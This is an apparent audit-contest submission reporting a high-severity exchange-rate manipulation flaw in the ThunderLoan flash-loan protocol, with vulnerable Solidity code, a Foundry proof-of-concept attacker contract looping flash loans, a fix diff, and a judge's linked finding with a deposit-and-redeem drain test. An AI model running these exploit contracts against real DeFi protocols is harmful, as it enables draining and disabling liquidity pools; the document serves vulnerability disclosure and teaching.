Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

User can cause DOS manipulating exchangeRate to 100% with only 1 token

Root + Impact

Description

  • ThunderLoan's exchange rate is designed to increase exclusively when flash loan fees are collected and successfully repaid by borrowers. The updateExchangeRate(fee) function in flashloan() is the only intended mechanism to reward liquidity providers over time, ensuring the rate reflects real yield generated by the protocol.

  • deposit() incorrectly calls updateExchangeRate() on every deposit, treating the deposited amount as if it were a flash loan fee. This means any deposit — including a malicious one with a minimal amount — inflates the exchange rate independently of any actual fee collection. Combined with the fact that updateExchangeRate() in flashloan() is called before the fee is actually received, an attacker can compound the rate increase by repeatedly calling flashloan() with a minimal totalSupply, since the rate multiplier (totalSupply + fee) / totalSupply grows larger as totalSupply decreases.

function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
uint256 calculatedFee = getCalculatedFee(token, amount);
@> assetToken.updateExchangeRate(calculatedFee);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
function flashloan(
address receiverAddress,
IERC20 token,
uint256 amount,
bytes calldata params
) external {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 startingBalance = IERC20(token).balanceOf(address(assetToken));
if (amount > startingBalance) {
revert ThunderLoan__NotEnoughTokenBalance(startingBalance, amount);
}
if (!receiverAddress.isContract()) {
revert ThunderLoan__CallerIsNotContract();
}
uint256 fee = getCalculatedFee(token, amount);
// slither-disable-next-line reentrancy-vulnerabilities-2 reentrancy-vulnerabilities-3
@> assetToken.updateExchangeRate(fee);
emit FlashLoan(receiverAddress, token, amount, fee, params);
s_currentlyFlashLoaning[token] = true;
assetToken.transferUnderlyingTo(receiverAddress, amount);
// slither-disable-next-line unused-return reentrancy-vulnerabilities-2
receiverAddress.functionCall(
abi.encodeWithSignature(
"executeOperation(address,uint256,uint256,address,bytes)",
address(token),
amount,
fee,
msg.sender,
params
)
);
uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaidBack(
startingBalance + fee,
endingBalance
);
}
s_currentlyFlashLoaning[token] = false;
}

Risk

Likelihood:

  • Every time a usert with at least 1 token want to brake the protocol


Impact:

  • Increasing the exchange rate by 100x effectively renders the protocol unusable, since depositing funds to earn interest becomes economically irrational.

Proof of Concept

By depositing the minimum viable amount to avoid fee rounding to zero and iterating flash loans, an attacker can push the exchange rate to arbitrarily high values at negligible cost, making it impossible for legitimate LPs to redeem their shares as the inflated rate promises more underlying tokens than the pool physically holds.

To prove this I create a test with a malicuis contract that with only 1 token can increase the exchangerate to 100% looping flashLoan and repay

contract POCtest is Test {
ThunderLoan thunderLoanImplementation;
MockPoolFactory mockPoolFactory;
ERC1967Proxy proxy;
ThunderLoan thunderLoan;
ERC20Mock weth;
ERC20Mock tokenA;
ERC20Mock tokenB;
ERC20Mock6Decimals tokenWith6Decimals;
AssetToken assetToken6Decimals;
AssetToken assetTokenA;
AssetToken assetTokenB;
address depositer = makeAddr("depositer");
address flahLoanReceiver = makeAddr("flashLoanReceiver");
address flashLoanAttacker = makeAddr("flashLoanAttacker");
function setUp() public virtual {
thunderLoan = new ThunderLoan();
mockPoolFactory = new MockPoolFactory();
weth = new ERC20Mock();
tokenA = new ERC20Mock();
tokenB = new ERC20Mock();
tokenWith6Decimals = new ERC20Mock6Decimals();
mockPoolFactory.createPool(address(tokenA));
mockPoolFactory.createPool(address(tokenWith6Decimals));
proxy = new ERC1967Proxy(address(thunderLoan), "");
thunderLoan = ThunderLoan(address(proxy));
thunderLoan.initialize(address(mockPoolFactory));
assetTokenB = thunderLoan.setAllowedToken(
IERC20(address(tokenB)),
true
);
assetToken6Decimals = thunderLoan.setAllowedToken(
IERC20(address(tokenWith6Decimals)),
true
);
tokenA.mint(depositer, 50000 * 10 ** tokenA.decimals()); //fund depositer with tokenA
//fund depositer with token with 6 decimals
tokenWith6Decimals.mint(
depositer,
5000 * 10 ** tokenWith6Decimals.decimals()
); // 5000 tokens in 6-decimal representation
}
function testDOSattackDueToExchangeRateManipulationWithFlashLoan() public {
// This test use Basetest.t.sol setup
uint256 mintToAttacker = 1 * 10 ** tokenA.decimals();
tokenA.mint(flashLoanAttacker, mintToAttacker); // fund attacker with tokenA
assetTokenA = thunderLoan.setAllowedToken(
IERC20(address(tokenA)),
true
);
assertEq(tokenA.balanceOf(address(assetTokenA)), 0);
assertEq(assetTokenA.totalSupply(), 0);
assertEq(assetTokenA.getExchangeRate(), 1e18); //1:1 exchange rate at the beginning
// Attacker deposits tokenA and gets assetTokenA
vm.startPrank(flashLoanAttacker);
ExchangeRateManipulator manipulator = new ExchangeRateManipulator(
address(thunderLoan)
);
tokenA.transfer(address(manipulator), mintToAttacker);
manipulator.manipulateExchangeRate(address(tokenA));
assertGt(
assetTokenA.getExchangeRate(),
100e18,
"Exchange rate should have increased after manipulation"
);
}
}

This is the contract that flashloan a minimum amount and repay in a big loop

contract ExchangeRateManipulator {
ThunderLoan private immutable i_thunderLoan;
constructor(address thunderLoan) {
i_thunderLoan = ThunderLoan(thunderLoan);
}
function manipulateExchangeRate(address token) external {
AssetToken assetToken = i_thunderLoan.s_tokenToAssetToken(
IERC20(token)
);
IERC20(token).approve(address(i_thunderLoan), type(uint256).max);
// deposit minimum viable amount to minimize totalSupply
// minimum to avoid fee rounding to zero: ceil(1e18 / 3e15) = 334 wei
uint256 minDeposit = 334;
i_thunderLoan.deposit(IERC20(token), minDeposit);
uint256 flashLoanAmount = IERC20(token).balanceOf(address(assetToken)); // = 334 wei
for (uint256 i = 0; i < 1540; i++) {
i_thunderLoan.flashloan(
address(this),
IERC20(token),
flashLoanAmount,
""
);
}
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address initiator,
bytes calldata params
) external {
i_thunderLoan.repay(IERC20(token), amount + fee);
}
}

Recommended Mitigation

Two separate fixes are required, one for each vulnerable function.

1. Remove updateExchangeRate from deposit()

Deposits represent neutral liquidity additions and should never affect the exchange rate. The call to updateExchangeRate must be removed entirely.

2. Move updateExchangeRate after the repayment check in flashloan()

The exchange rate should only be updated after verifying that the fee has been actually received by the protocol. Moving the call after the ending balance check ensures the rate reflects real yield.

function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
- uint256 calculatedFee = getCalculatedFee(token, amount);
- assetToken.updateExchangeRate(calculatedFee);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 startingBalance = IERC20(token).balanceOf(address(assetToken));
if (amount > startingBalance) {
revert ThunderLoan__NotEnoughTokenBalance(startingBalance, amount);
}
if (!receiverAddress.isContract()) {
revert ThunderLoan__CallerIsNotContract();
}
uint256 fee = getCalculatedFee(token, amount);
- assetToken.updateExchangeRate(fee);
emit FlashLoan(receiverAddress, token, amount, fee, params);
s_currentlyFlashLoaning[token] = true;
assetToken.transferUnderlyingTo(receiverAddress, amount);
receiverAddress.functionCall(
abi.encodeWithSignature(
"executeOperation(address,uint256,uint256,address,bytes)",
address(token), amount, fee, msg.sender, params
)
);
uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}
+ assetToken.updateExchangeRate(fee);
s_currentlyFlashLoaning[token] = false;
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Updating exchange rate on token deposit will inflate asset token's exchange rate faster than expected

# Summary Exchange rate for asset token is updated on deposit. This means users can deposit (which will increase exchange rate), and then immediately withdraw more underlying tokens than they deposited. # Details Per documentation: > Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. **These AssetTokens gain interest over time depending on how often people take out flash loans!** Asset tokens gain interest when people take out flash loans with the underlying tokens. In current version of ThunderLoan, exchange rate is also updated when user deposits underlying tokens. This does not match with documentation and will end up causing exchange rate to increase on deposit. This will allow anyone who deposits to immediately withdraw and get more tokens back than they deposited. Underlying of any asset token can be completely drained in this manner. # Filename `src/protocol/ThunderLoan.sol` # Permalinks https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L153-L154 # Impact Users can deposit and immediately withdraw more funds. Since exchange rate is increased on deposit, they will withdraw more funds then they deposited without any flash loans being taken at all. # Recommendations It is recommended to not update exchange rate on deposits and updated it only when flash loans are taken, as per documentation. ```diff function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) { AssetToken assetToken = s_tokenToAssetToken[token]; uint256 exchangeRate = assetToken.getExchangeRate(); uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate; emit Deposit(msg.sender, token, amount); assetToken.mint(msg.sender, mintAmount); - uint256 calculatedFee = getCalculatedFee(token, amount); - assetToken.updateExchangeRate(calculatedFee); token.safeTransferFrom(msg.sender, address(assetToken), amount); } ``` # POC ```solidity function testExchangeRateUpdatedOnDeposit() public setAllowedToken { tokenA.mint(liquidityProvider, AMOUNT); tokenA.mint(user, AMOUNT); // deposit some tokenA into ThunderLoan vm.startPrank(liquidityProvider); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); // another user also makes a deposit vm.startPrank(user); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA); // after a deposit, asset token's exchange rate has aleady increased // this is only supposed to happen when users take flash loans with underlying assertGt(assetToken.getExchangeRate(), 1 * assetToken.EXCHANGE_RATE_PRECISION()); // now liquidityProvider withdraws and gets more back because exchange // rate is increased but no flash loans were taken out yet // repeatedly doing this could drain all underlying for any asset token vm.startPrank(liquidityProvider); thunderLoan.redeem(tokenA, assetToken.balanceOf(liquidityProvider)); vm.stopPrank(); assertGt(tokenA.balanceOf(liquidityProvider), AMOUNT); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!